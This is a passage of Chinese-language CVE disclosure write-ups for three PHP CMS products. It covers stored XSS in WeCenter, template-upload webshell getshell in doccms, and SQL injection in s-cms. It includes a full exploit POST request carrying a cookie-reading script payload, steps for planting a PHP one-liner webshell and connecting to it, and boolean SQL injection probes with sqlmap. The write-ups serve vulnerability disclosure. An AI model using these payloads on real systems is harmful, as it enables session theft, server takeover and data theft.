当输入<script>alert(1)</script>后在浏览器渲染的时候,第一个</script>标签闭合了JS开头的<script>标签,从而从单引号中逃逸了出来,导致成功执行了JS代码。然后逃逸出来的单引号又闭合了下一个<script>前面的的单引号,从而导致弹窗了3次alert(1)。

三、利用代码

exp代码如下:

问题标题处输入:<script>alert(1)</script>
post数据包如下:
POST /WeCenter322/?/publish/ajax/publish_question/ HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 233
Cookie: lrs__Session=vvoutttrb79pa5fqgscqpdk0o2; lrs__user_login=6mdKXpYsXXBcYDxSW5FvDkK%2B%2FYr%2BIzrQEEpWa87z3kLrCBkGsZQpEnz%2FOiwHyE%2Fu5Xhn%2BqeLcDU3TT9%2Fppl1yXZclxcyrtHud9rR8EgfFyszWNY3cLkktjGsmh8Ae%2BiH
DNT: 1
Connection: close

post_hash=9e862174d7447bf2e73d591ee2090d42&attach_access_key=e91fee78235153fdff2f86281e8593e5&question_id=&ask_user_id=&category_id=1&question_content=%3Cscript%3Ealert(document.cookie)%3C%2Fscript%3E&question_detail=&_post_type=ajax

3.png

四、参考信息

CVE中文申请网:http://www.iwantacve.cn/index.php/archives/76/
CVE官方:http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-19083
exploit-db:发布中

CVE-2018-18835:doccms 2016.5.12 后台模板getshell

一、漏洞摘要

漏洞名称: doccms后台模板getshell
上报日期: 2018-10-27
漏洞发现者: kr1sten
产品首页: http://www.doccms.com/
软件链接: http://www.doccms.com/?p=40
版本: 2016.5.12[正式版]
CVE编号: CVE-2018-18835


二、漏洞概述

后台模板上传位置 未检查上传内部的代码 导致getshell。

三、利用方法

登录后台发现后台具有上传功能,且限定了格式。
1.png

首先找到自带的模板的位置,然后复制一份改个名字,打包成压缩文件再上传的时候进行抓包 看其调用的方法,可以看到 burp抓取到的数据包已经显示出来了,从其中可以看到他调用了system文件夹下的changeskin.php这个文件的upload_template函数,于是我们定位到这个函数 看看他的代码是怎么样的逻辑。
4.png
5.png
从第八行开始到第三十一行之间 就是处理上传模板这个功能的代码逻辑,分析一下:
6.png

15-16行就是定义一个临时的保存路径:
7.png

17-29行,第一个if判断是不是一个zip文件,如果是文件就进入真区间进行下一步的判断,然后进行解压 如果解压成功就安装成功否则失败,如果不是zip文件就提示上传失败 最后重定向回模板管理的页面。代码中有一点没考虑到,只是判断是不是zip文件,并没有判断文件里面是不是有某些威胁的存在。于是可以在模板文件里面构造攻击代码,比如写一个一句话木马或者直接在模板文件的某php文件里面写入一句话木马代码。比如在原先的模板文件里面新建一个文件夹 此处叫做test文件夹,在里面新建一个php文件,写入<?php phpinfo();?> 然后在进行打包上传。
8.png
上传成功后,点击一下“应用到pc站” 然后去前台看效果。
10.png

直接访问模板url地址返回403错误码,说明模板目录访问权限控制。
11.png
通过修改原来模板文件里的index.php代码,比如在最前面加上一句phpinfo的代码,再重复上传-应用的步骤,前台效果如下:
12.png

代码成功的被执行了,换成一句话木马代码上传并应用,再用菜刀进行连接,如下:
14.png

四、参考信息

CVE中文申请网:http://www.iwantacve.cn/index.php/archives/65/
CVE官方:http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-18835
exploit-db:发布中

CVE-2018-18887:s-cms php ver 1.0新闻建站系统用户投稿处存在sql注入

一、漏洞摘要

漏洞名称: s-cms php ver 1.0新闻建站系统用户投稿处存在sql注入
上报日期: 2018-10-27
漏洞发现者: kr1sten
产品首页: https://www.s-cms.cn/
软件链接: https://shanlingtest.oss-cn-shenzhen.aliyuncs.com/file/6.news.php.zip
版本: php ver 1.0
CVE编号: CVE-2018-18887


二、漏洞概述

开启前台注册后,投稿发文章type参数存在SQL注入。


三、利用方法

漏洞存在位置:member/member_news.php
1.png
在8-11行 定义了一个变量去接受外部传参 变量名“$N_type”在本文件下搜索这个变量名逐个跟踪分析
2.png
这一段代码 是通过传来的参数进行判断文章是否通过审核,不理会 继续跟踪
3.png
87-93行 是将数据判断后显示在页面 继续跟踪
4.png
114行sql语句这里就有问题了,他是将变量拼接进入语句里 可控 我在115行将sql语句输出 看看页面是怎么样的
5.png
这是文章页面
6.png
然后 输入 and 1=1 和 and 1=2 看下页面的变化情况
7.png
可以看到 直接将用户输入的数据直接给拼接到sql语句了 直接去带入数据执行
下图是 and 1=2时的结果,两个图做一下对比 ,很明显的 下面的数据没有显示出来 也就是说明 这个地方是存在sql注入的
8.png
接下来 使用sqlmap 跑一下,此处要注意:必须要抓包进行post注入 不然没有cookie参数 sqlmap是无法进行注入的,看下图:
9.png
成功跑出数据库


四、参考信息

CVE中文申请网:http://www.iwantacve.cn/index.php/archives/75/
CVE官方:http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-18887
exploit-db:发布中